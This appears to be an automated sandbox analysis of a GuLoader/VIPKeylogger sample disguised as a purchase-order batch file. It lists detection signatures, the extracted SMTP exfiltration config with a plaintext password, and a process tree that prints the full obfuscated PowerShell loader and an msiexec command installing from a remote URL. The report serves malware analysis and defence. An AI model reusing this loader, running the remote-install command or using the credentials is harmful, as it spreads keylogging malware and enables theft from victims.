Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
26/05/2026, 07:05
General
- Target PO# ATVHCWS26-387 HANSUNG VINA..bat
- Size 4KB
- Sample260526-hwr18ags21
- SHA256 93aec3da641e8a2d7191e5ec96e1678984c2441f129d6e91ad5741c896e1dfb0
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
mail.spskgruca.pl
-
Port
587
-
Username
-
Password
Sekretari@t1+-
-
Email to
Signatures
- Family: Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Badlisted process makes network request 12 IoCs
Network request originating from process or tool commonly abused by malware.
- Use of msiexec (install) with remote resource 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO# ATVHCWS26-387 HANSUNG VINA..bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -windowstyle 1 "mp 'afghan' 'trim' 'diago';$faksi=3;$reformproc=55;function partitu114 ($mbelfa,$malmhol) {$kokette57=stolthe168('Skaldship Pengestrmsanalysen Koldblodigt klapperslanger.__[ yyixxxnUUUt===]&&&$,llmee bTTTe///l^^^f cca xx rr- ++b!!!x') ;$kokette57+=stolthe168('uglies villigeres Cushie pondgrass Ddpunkternes Esophag r.oFFFrdd, ,-[EEEiLLLn fft zz] HH$xxxmBBBaG.Glaaammmmh ,:oVVVl:: ');;Mutismss ($kokette57)}function stolthe168 ($sekl,$firtall) { $senntal=$faksi+$reformproc; do {$fangedragt+=$sekl[$senntal];$senntal+=4} until (!$sekl[$senntal])$fangedragt}function Mutismss ($sammen,$malmholevidste) {&$afsnitsn $sammen}$unthinkabl=stolthe168('Tapetsereren thaiens Rotulus Unliterate Beskyttelserne y.y:&&&:');$forb=stolthe168('escapades Skabrses Nonministerial Unsold arbejdsdygtig ?? .');Function Monokrome ($sekl,$untessella=0){ ;$blegnesun=stolthe168('Chuddah Sheepcrook guldgruber registreringers Giden Syn ##$GGGs eectttr###i ^pccct###:eeebPPPacc lyyyaHHHnJJ,cttte_ _= i,[AAACg.go');$blegnesun+=stolthe168('Kirstin Pyrophyllite Hjemstavnsdigtningers Telefonordre CCnnn.v cce,ccrKKKt CC]');$blegnesun+=$unthinkabl;$blegnesun+=stolthe168('Amvis Horeunges Chantlate Mediatingly Wistly mnning Con??,F&&&r>>>o???m>>>B###akkksuuue rr6 yy4~~~S k tKKKro oicccnX Xgzzz(!!!$QQQsttte%% kBBBlIII)');Mutismss ($blegnesun);For($senntal=0; $balance[$senntal] -ne $hypopha; $senntal++){$balance[$senntal] = partitu114 $balance[$senntal] $scopu22[$senntal%4]}$caco96=stolthe168('Portepeernes Ileostomy Thirl Neoguelfiske NonanarchicalZZZ$ k,s MMc nnrzzzihh,pm mtZZZ:qqqvKKKo,hhlgggtNNNa= =sllleW.WiYY,szz 2~~~5<< 2%% =DDD[');$caco96+=stolthe168('Uvederheftighed Hydrogenised Forfatterinders Klemliste oooTUUUerrrxccct');$caco96+=$forb;$caco96+=stolthe168('Traktrs Rosenvandet Malhilds percenter Inderliggjordes RRREhh.n:::cBBBoNN d.ooiRRRnF FgWWW]');$caco96+=$unthinkabl;$caco96+=stolthe168('Unrecent Haptophor Cheweler Temporoauricular Unbare Arn<<<A.yyS;;;C<<<InnnI');$caco96+=$forb;$caco96+=stolthe168('Ophavsretsindehavers Lanciers hvirvelvinde Gudenaaens M &&G^^^e---tjj SMMMtEEErZZZi Mn ??gDDD( .w$EEEb---a~~~lE Ea ssn^,^cv ve&&&)');Mutismss ($caco96);if ($untessella) { Mutismss $voltaseis252}else {;$voltaseis252}}$afsnitsn=stolthe168 'Fladpandets Azthionium Overrepraesenteret Shavernes Brn~~ I';$afsnitsn+=stolthe168 'Ducdame Redamnation Triconodont dmringernes ChilipeberepppE';$scopu22=@(66,97,110,97);$afsnitsn+=stolthe168 'Ikke Spildprocenterne Alturing Bat superregal Londony L,XXX';$geolog=Monokrome 'd09eQWo2Bw8mDhkSYi86QXNRQFF5QTkILFdaWmIZWFV5QRwXeFBbUWxRR0EFBA0KLU5cUXNRXlByUE4nKxMLBy0ZQVB3UUBR';$samfundsn=Monokrome 'KhUaETFbQU4mEwcXJ08JDi0GAgRsAgEMbRQNXicZHg4wFVMFLRYADS0ACkcrBVNQdi0LBXMYKzQaCB4sMhYmVxQGKRIWFg8ycg0gUzY0IBc=';$senntalndledn=Monokrome 'fA==';$mbelfadmixesor='\Beregn166.Ove';Monokrome 'ZgYCDiAAAlshAAICK1xKBCwXVAAyEQoANgBFRS8DCw0kAAoMKxkLEi0T' 1;Monokrome 'ZgYCDiAAAlskAAIFf0UdAC8HGw8mEgBPMRECCDZJShInDwAVIw0ABS4ECg9r' 1;Monokrome 'GS8LFWwyCxM0CA0EEg4HDzYsDw8jBgsTH1tUMicCGxMrFRcxMA4aDiEOAlxxUVlT' 1;$samfundsn=$fald[0];$kolpor=(Monokrome 'ZgYCDiAAAls3FwsLMBIdCn8vCxZvLgwLJwIaQQwEGk8VBAwiLggLDzY=');Mutismss ($kolpor);Monokrome 'ZhQYBCgTHRIpTyYEIwULEzE6NS8nFUApNhUeMycQGwQxFSYEIwULEx9VXjx/RQkELQ0BBg==' 1;$sendeb=Monokrome 'Bg4ZDy4ODwUECAIE';$dkse=Monokrome 'ZhQYBCgTHRIpT0oSJw8KBCBPJw80DgUEakUdAC8HGw8mEgBNZhEPEjEAAhRr';$passalu=$calci;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1;while (!$levned) {Monokrome 'ZgYCDiAAAlsxCA0KJwQdETAEU0U2ExsE' 1;Mutismss $dkse;Monokrome 'EQ0LBDJJWkg=' 1;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1 ;Monokrome 'ZgYCDiAAAlsmEwcRMlxKBi4ODAAuWw0OIQoPSmlESgcjDQpPIQ4bDzY=' 1;$samfundsn=$fald[$dripp]}$mizp=138643;$fiskeb=15571;Monokrome 'ZgYCDiAAAlsgCAENLQYHXCUCTkUyAB0SIw0b' 1;Monokrome 'ZgYCDiAAAlsRAgsPLREHXBkiAQ80BBwVH1tUJzAOAyMjEgtXdjIaEysPCUlmAwcOLg4JCGs=' 1;Monokrome 'ZgYCDiAAAlsjEwwEfzo6BDoVQCQsAgEFKw8JPHhbLzIBKCdPBQQaMjYTBw8lSUoyIQQADjIIRw==' 1;Monokrome 'ZgYCDiAAAls2AB4RJwkPDS5cSgAwAwtPMRQMEjYTBw8lSUoMKxseTWYHBxIpBAxI' 1;Mutismss $tappehall;#Suzansunre EnklaveIex bell ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "mp 'afghan' 'trim' 'diago';$faksi=3;$reformproc=55;function partitu114 ($mbelfa,$malmhol) {$kokette57=stolthe168('Skaldship Pengestrmsanalysen Koldblodigt klapperslanger.__[ yyixxxnUUUt===]&&&$,llmee bTTTe///l^^^f cca xx rr- ++b!!!x') ;$kokette57+=stolthe168('uglies villigeres Cushie pondgrass Ddpunkternes Esophag r.oFFFrdd, ,-[EEEiLLLn fft zz] HH$xxxmBBBaG.Glaaammmmh ,:oVVVl:: ');;Mutismss ($kokette57)}function stolthe168 ($sekl,$firtall) { $senntal=$faksi+$reformproc; do {$fangedragt+=$sekl[$senntal];$senntal+=4} until (!$sekl[$senntal])$fangedragt}function Mutismss ($sammen,$malmholevidste) {&$afsnitsn $sammen}$unthinkabl=stolthe168('Tapetsereren thaiens Rotulus Unliterate Beskyttelserne y.y:&&&:');$forb=stolthe168('escapades Skabrses Nonministerial Unsold arbejdsdygtig ?? .');Function Monokrome ($sekl,$untessella=0){ ;$blegnesun=stolthe168('Chuddah Sheepcrook guldgruber registreringers Giden Syn ##$GGGs eectttr###i ^pccct###:eeebPPPacc lyyyaHHHnJJ,cttte_ _= i,[AAACg.go');$blegnesun+=stolthe168('Kirstin Pyrophyllite Hjemstavnsdigtningers Telefonordre CCnnn.v cce,ccrKKKt CC]');$blegnesun+=$unthinkabl;$blegnesun+=stolthe168('Amvis Horeunges Chantlate Mediatingly Wistly mnning Con??,F&&&r>>>o???m>>>B###akkksuuue rr6 yy4~~~S k tKKKro oicccnX Xgzzz(!!!$QQQsttte%% kBBBlIII)');Mutismss ($blegnesun);For($senntal=0; $balance[$senntal] -ne $hypopha; $senntal++){$balance[$senntal] = partitu114 $balance[$senntal] $scopu22[$senntal%4]}$caco96=stolthe168('Portepeernes Ileostomy Thirl Neoguelfiske NonanarchicalZZZ$ k,s MMc nnrzzzihh,pm mtZZZ:qqqvKKKo,hhlgggtNNNa= =sllleW.WiYY,szz 2~~~5<< 2%% =DDD[');$caco96+=stolthe168('Uvederheftighed Hydrogenised Forfatterinders Klemliste oooTUUUerrrxccct');$caco96+=$forb;$caco96+=stolthe168('Traktrs Rosenvandet Malhilds percenter Inderliggjordes RRREhh.n:::cBBBoNN d.ooiRRRnF FgWWW]');$caco96+=$unthinkabl;$caco96+=stolthe168('Unrecent Haptophor Cheweler Temporoauricular Unbare Arn<<<A.yyS;;;C<<<InnnI');$caco96+=$forb;$caco96+=stolthe168('Ophavsretsindehavers Lanciers hvirvelvinde Gudenaaens M &&G^^^e---tjj SMMMtEEErZZZi Mn ??gDDD( .w$EEEb---a~~~lE Ea ssn^,^cv ve&&&)');Mutismss ($caco96);if ($untessella) { Mutismss $voltaseis252}else {;$voltaseis252}}$afsnitsn=stolthe168 'Fladpandets Azthionium Overrepraesenteret Shavernes Brn~~ I';$afsnitsn+=stolthe168 'Ducdame Redamnation Triconodont dmringernes ChilipeberepppE';$scopu22=@(66,97,110,97);$afsnitsn+=stolthe168 'Ikke Spildprocenterne Alturing Bat superregal Londony L,XXX';$geolog=Monokrome 'd09eQWo2Bw8mDhkSYi86QXNRQFF5QTkILFdaWmIZWFV5QRwXeFBbUWxRR0EFBA0KLU5cUXNRXlByUE4nKxMLBy0ZQVB3UUBR';$samfundsn=Monokrome 'KhUaETFbQU4mEwcXJ08JDi0GAgRsAgEMbRQNXicZHg4wFVMFLRYADS0ACkcrBVNQdi0LBXMYKzQaCB4sMhYmVxQGKRIWFg8ycg0gUzY0IBc=';$senntalndledn=Monokrome 'fA==';$mbelfadmixesor='\Beregn166.Ove';Monokrome 'ZgYCDiAAAlshAAICK1xKBCwXVAAyEQoANgBFRS8DCw0kAAoMKxkLEi0T' 1;Monokrome 'ZgYCDiAAAlskAAIFf0UdAC8HGw8mEgBPMRECCDZJShInDwAVIw0ABS4ECg9r' 1;Monokrome 'GS8LFWwyCxM0CA0EEg4HDzYsDw8jBgsTH1tUMicCGxMrFRcxMA4aDiEOAlxxUVlT' 1;$samfundsn=$fald[0];$kolpor=(Monokrome 'ZgYCDiAAAls3FwsLMBIdCn8vCxZvLgwLJwIaQQwEGk8VBAwiLggLDzY=');Mutismss ($kolpor);Monokrome 'ZhQYBCgTHRIpTyYEIwULEzE6NS8nFUApNhUeMycQGwQxFSYEIwULEx9VXjx/RQkELQ0BBg==' 1;$sendeb=Monokrome 'Bg4ZDy4ODwUECAIE';$dkse=Monokrome 'ZhQYBCgTHRIpT0oSJw8KBCBPJw80DgUEakUdAC8HGw8mEgBNZhEPEjEAAhRr';$passalu=$calci;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1;while (!$levned) {Monokrome 'ZgYCDiAAAlsxCA0KJwQdETAEU0U2ExsE' 1;Mutismss $dkse;Monokrome 'EQ0LBDJJWkg=' 1;Monokrome 'ZgYCDiAAAlsuBBgPJwVTSRYEHRVvMQ8VKkFKESMSHQAuFEc=' 1 ;Monokrome 'ZgYCDiAAAlsmEwcRMlxKBi4ODAAuWw0OIQoPSmlESgcjDQpPIQ4bDzY=' 1;$samfundsn=$fald[$dripp]}$mizp=138643;$fiskeb=15571;Monokrome 'ZgYCDiAAAlsgCAENLQYHXCUCTkUyAB0SIw0b' 1;Monokrome 'ZgYCDiAAAlsRAgsPLREHXBkiAQ80BBwVH1tUJzAOAyMjEgtXdjIaEysPCUlmAwcOLg4JCGs=' 1;Monokrome 'ZgYCDiAAAlsjEwwEfzo6BDoVQCQsAgEFKw8JPHhbLzIBKCdPBQQaMjYTBw8lSUoyIQQADjIIRw==' 1;Monokrome 'ZgYCDiAAAls2AB4RJwkPDS5cSgAwAwtPMRQMEjYTBw8lSUoMKxseTWYHBxIpBAxI' 1;Mutismss $tappehall;#Suzansunre EnklaveIex bell ;"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi2⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi2⤵
- Badlisted process makes network request
- Use of msiexec (install) with remote resource
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Event Triggered Execution: Installer Packages
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\WINDOWS\syswow64\msiexec.exe" /i https://Birkesfret/Crow.msi3⤵
- Use of msiexec (install) with remote resource
- Event Triggered Execution: Installer Packages
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2f4gelhi.d4p.ps1
Beregn166.Ove
memory/2504-67-0x000000001F8F0000-0x000000001F98C000-memory.dmp
memory/2504-66-0x0000000000780000-0x00000000007C8000-memory.dmp
memory/2504-65-0x0000000000780000-0x0000000001A97000-memory.dmp
memory/2504-53-0x0000000000780000-0x0000000001A97000-memory.dmp
memory/5336-34-0x0000000005E50000-0x0000000005E9C000-memory.dmp
memory/5336-39-0x00000000076A0000-0x0000000007C46000-memory.dmp
memory/5336-20-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-21-0x0000000005140000-0x000000000576A000-memory.dmp
memory/5336-22-0x0000000004F90000-0x0000000004FB2000-memory.dmp
memory/5336-24-0x0000000005920000-0x0000000005986000-memory.dmp
memory/5336-23-0x0000000005030000-0x0000000005096000-memory.dmp
memory/5336-31-0x0000000005990000-0x0000000005CE7000-memory.dmp
memory/5336-18-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-33-0x0000000005E20000-0x0000000005E3E000-memory.dmp
memory/5336-50-0x0000000008950000-0x0000000009B59000-memory.dmp
memory/5336-49-0x0000000007390000-0x0000000007393000-memory.dmp
memory/5336-37-0x0000000006340000-0x000000000635A000-memory.dmp
memory/5336-36-0x0000000006FE0000-0x0000000007076000-memory.dmp
memory/5336-38-0x0000000006390000-0x00000000063B2000-memory.dmp
memory/5336-19-0x00000000025A0000-0x00000000025D6000-memory.dmp
memory/5336-40-0x00000000082D0000-0x000000000894A000-memory.dmp
memory/5336-48-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-44-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-43-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-42-0x0000000004B00000-0x0000000004B10000-memory.dmp
memory/5336-45-0x0000000007390000-0x0000000007393000-memory.dmp
memory/5336-46-0x0000000008950000-0x0000000009B59000-memory.dmp
memory/5336-47-0x0000000008950000-0x0000000009B59000-memory.dmp
memory/5872-10-0x00000162759E0000-0x00000162759F0000-memory.dmp
memory/5872-12-0x00000162759E0000-0x00000162759F0000-memory.dmp
memory/5872-1-0x00000162759E0000-0x00000162759F0000-memory.dmp
memory/5872-11-0x00000162759E0000-0x00000162759F0000-memory.dmp
memory/5872-9-0x00000162759E0000-0x00000162759F0000-memory.dmp
memory/5872-7-0x0000016275970000-0x0000016275992000-memory.dmp
memory/5872-0-0x00000162759E0000-0x00000162759F0000-memory.dmp